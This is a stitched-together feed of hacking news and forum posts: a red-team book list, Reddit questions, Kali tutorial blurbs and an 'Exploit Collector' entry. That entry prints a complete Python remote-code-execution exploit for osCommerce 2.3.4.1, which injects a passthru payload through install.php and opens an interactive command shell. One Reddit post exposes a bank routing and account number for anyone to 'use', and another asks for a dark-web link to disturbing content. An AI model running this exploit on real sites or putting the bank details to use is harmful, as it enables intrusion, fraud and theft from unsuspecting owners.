Various USB cables (A, B, mini, micro, OTG, etc.) SD Cards, microSD cards Smartphone (earpiece if with a team) Body camera (GoPro/ACE Cameras are sometimes handy with client approval) Extra power packs/batteries Small flashlight (https://www.kitploit.com/search/label/Flashlight) (low lumen) RTFM: Red Team Field Manual
Book :
Rtfm: Red Team Field Manual (https://www.amazon.com/Rtfm-Red-Team-Field-Manual/dp/1494295504) The Hacker Playbook: Practical Guide To Penetration Testing (https://www.amazon.com/Hacker-Playbook-Practical-Penetration-Testing/dp/1494932636/ref=pd_lpo_sbs_14_t_2?_encoding=UTF8&psc=1&refRID=ZHBJAB6T1BWVYYYEEN6F&dpID=51QpIzF3l1L&preST=_SY291_BO1,204,203,200_QL40_&dpSrc=detail) The Hacker Playbook 3: Practical Guide To Penetration Testing (https://www.amazon.com/Hacker-Playbook-Practical-Penetration-Testing/dp/1980901759/ref=pd_lpo_sbs_14_t_0?_encoding=UTF8&psc=1&refRID=ZHBJAB6T1BWVYYYEEN6F&dpID=51BkETcdR%252BL&preST=_SY291_BO1,204,203,200_QL40_&dpSrc=detail) Cybersecurity Attacks (Red Team Activity) [Video] (https://www.packtpub.com/networking-and-servers/cybersecurity-attacks-red-team-activity-video) Cybersecurity – Attack and Defense Strategies (https://www.packtpub.com/networking-and-servers/cybersecurity-attack-and-defense-strategies) Red Team: How to Succeed By Thinking Like the Enemy (https://www.amazon.co.uk/dp/0465048943/ref=rdr_ext_tmb)
Contact :
Linkedin : https://www.linkedin.com/in/ismailtasdelen/ Twitter : https://twitter.com/ismailtsdln GitHub : https://github.com/ismailtasdelen YouTube : https://www.youtube.com/c/IsmailTasdelen

Download Redteam-Hardware-Toolkit (https://github.com/sectool/redteam-hardware-toolkit)

hacking: security in practice
How do people crack passwords on big websites/apps/social medias?

I have recently been hacked on my Instagram account and I've been thinking about how do people hack those. I've learnt some things about computers.

All I know is that instagram transforms their passwords into hash format so when someone logs into their account, what password is input is converted into hash format and compared.

Now a question appeared in my head. How do people extract those hashes from the Instagram server? Instagram is a big Social Media app and there are lots of developers working on that right? Maintaining security and fixing bugs and all. But how can an average hacker get the hash information and reverse engineer the hash to get the password?

Is there another way of getting a password? Like using brute force? If using a brute force it can take ages even with a password dictionary.

I asked this question only for my personal education. I don't want to hack anyone at all. Also this could help me better understand the world of tech and how can I protect myself in this environment. Thanks in advance for your answers.

submitted by /u/_SKYL1N3_
[link] [comments]
➖ Sent by @TheFeedReaderBot ➖

hacking: security in practice
Can anyone do something with this?

I have the following information, but I don't know if it's useful. Could someone advise?

It's just a series of numbers. If anyone finds it useful, by all means, use it.

​

ABA 052000113

ACCT 9851076993

submitted by /u/ProfessorMJR
[link] [comments]
➖ Sent by @TheFeedReaderBot ➖

Exploit Collector
osCommerce 2.3.4.1 Remote Code Execution

https://3.bp.blogspot.com/-GFxdnkVY0Lw/WWlvniKY45I/AAAAAAAAIRU/77qCibw7l9gJ7HKa7eHBCfMI2N56gMPzwCLcBGAs/s1600/hack_img6.png
osCommerce version 2.3.4.1 remote code execution exploit. This is a variant of the original discovery of code execution in this version by Simon Scannell in March of 2018.

MD5 | 55029b857cf842e7f09f60b952a728de

Download
# Exploit Title: osCommerce 2.3.4.1 - Remote Code Execution (2)
# Vulnerability: Remote Command Execution when /install directory wasn't removed by the admin
# Exploit: Exploiting the install.php finish process by injecting php payload into the db_database parameter & read the system command output from configure.php
# Notes: The RCE doesn't need to be authenticated
# Date: 26/06/2021
# Exploit Author: Bryan Leong <nobodyatall
# Vendor Homepage: https://www.oscommerce.com/
# Version: osCommerce 2.3.4
# Tested on: Windows

import requests
import sys

if(len(sys.argv) != 2):
print("please specify the osCommerce url")
print("format: python3 osCommerce2_3_4RCE.py <url")
print("eg: python3 osCommerce2_3_4RCE.py http://localhost/oscommerce-2.3.4/catalog")
sys.exit(0)

baseUrl = sys.argv[1]
testVulnUrl = baseUrl + '/install/install.php'

def rce(command):
#targeting the finish step which is step 4
targetUrl = baseUrl + '/install/install.php?step=4'

payload = "');"
payload += "passthru('" + command + "');" # injecting system command here
payload += "/*"

#injecting parameter
data = {
'DIR_FS_DOCUMENT_ROOT': './',
'DB_DATABASE' : payload
}

response = requests.post(targetUrl, data=data)

if(response.status_code == 200):
#print('[*] Successfully injected payload to config file')

readCMDUrl = baseUrl + '/install/includes/configure.php'
cmd = requests.get(readCMDUrl)

commandRsl = cmd.text.split('\n')

if(cmd.status_code == 200):
#print('[*] System Command Execution Completed')
#removing the error message above
for i in range(2, len(commandRsl)):
print(commandRsl[i])
else:
return '[!] Configure.php not found'
else:
return '[!] Fail to inject payload'
#testing vulnerability accessing the directory
test = requests.get(testVulnUrl)

#checking the install directory still exist or able to access or not
if(test.status_code == 200):
print('[*] Install directory still available, the host likely vulnerable to the exploit.')

#testing system command injection
print('[*] Testing injecting system command to test vulnerability')
cmd = 'whoami'

print('User: ', end='')
err = rce(cmd)

if(err != None):
print(err)
sys.exit(0)

while(True):
cmd = input('RCE_SHELL$ ')
err = rce(cmd)

if(err != None):
print(err)
sys.exit(0)

else:
print('[!] Install directory not found, the host is not vulnerable')
sys.exit(0)


Source:packetstormsecurity.com

Exploit Collector
Tor Half-Closed Connection Stream Confusion

https://1.bp.blogspot.com/-jW_VWiRlkJ4/WWlvh6QcNII/AAAAAAAAIQg/x12g-flM0hAb9z-fRCiW9Z3UAYaaFuf7ACLcBGAs/s1600/h9.png
Tor suffers from an issue where half-closed connection tracking ignores layer_hint and due to this, entry/middle relays can spoof RELAY_END cells on half-closed streams, which can lead to stream confusion between OP and exit.

MD5 | e8e6c45ee71383e0832c1cb3f3a8c903

Download
Source:packetstormsecurity.com

Kali Linux Tutorials
Nexfil : OSINT Tool For Finding Profiles By Username

NExfil is an OSINT tool written in python for finding profiles by username. The provided usernames are checked on over 350 websites within few seconds. The goal behind this tool was to get results quickly while maintaining low amounts of false positives. If you like my work please star this project 😀 If you find any errors or false positives […]

The post Nexfil : OSINT Tool For Finding Profiles By Username appeared first on Kali Linux Tutorials.

Kali Linux Tutorials
RemotePotato0 : Just Another “Won’t Fix” Windows Privilege Escalation From User To Domain Admin

RemotePotato0 is an exploit that allows you to escalate your privileges from a generic User to Domain Admin. Briefly: It abuses the DCOM activation service and trigger an NTLM authentication of the user currently logged on in the target machine. It is required you have a shell in session 0 (e.g. WinRm shell or SSH […]

The post RemotePotato0 : Just Another “Won’t Fix” Windows Privilege Escalation From User To Domain Admin appeared first on Kali Linux Tutorials.

Admin Panel? Pwned!

The unstoppable power of recon
Read more...

How to spot and exploit postMessage vulnerablities?

Hey Hunters, I hope everyone is doing okay and able to use this time efficiently for self development and to self reflect. This corona…
Read more...

Hacking on Medium
My Library

Subconsciously all theses years I’ve been preparing myself for a career in Cybersecurity , and have created a small reference library of…

Continue reading on Medium »

Hacking on Medium
Why ethics matter for computer programmers matter

https://cdn-images-1.medium.com/max/2600/0*-KmRj8fYByh9-Sxi
Would you trust a person with no morals? If not, then why would you trust software the same way?

Continue reading on Medium »

Deep Web
What's Save the Sea Kittens?

The link is wtwfzc6ty2s6x4po.onion but its V2 and outdated.
Does someone know the V3 link?

My friends told me there is some really messed up shit on it and I would like to see it.

submitted by /u/public_legendvoid
[link] [comments]

hacking: security in practice
Looking for a ctf team

Hi. Im looking for a ctf team to join. I always wanted to collaborate with other hackers while hacking to learn and improve.

I have a fair knowledge in web hacking since im doing bug bounties. I can also do some basic reverse engineering on both mips and x86. I have some knowledge in binary exploitation too. I also have experience on iot hacking, especially reversing firmwares. Please let me join in your team

I am 16 years old and i live in Philippines. Thanks

submitted by /u/Noobexploiter
[link] [comments]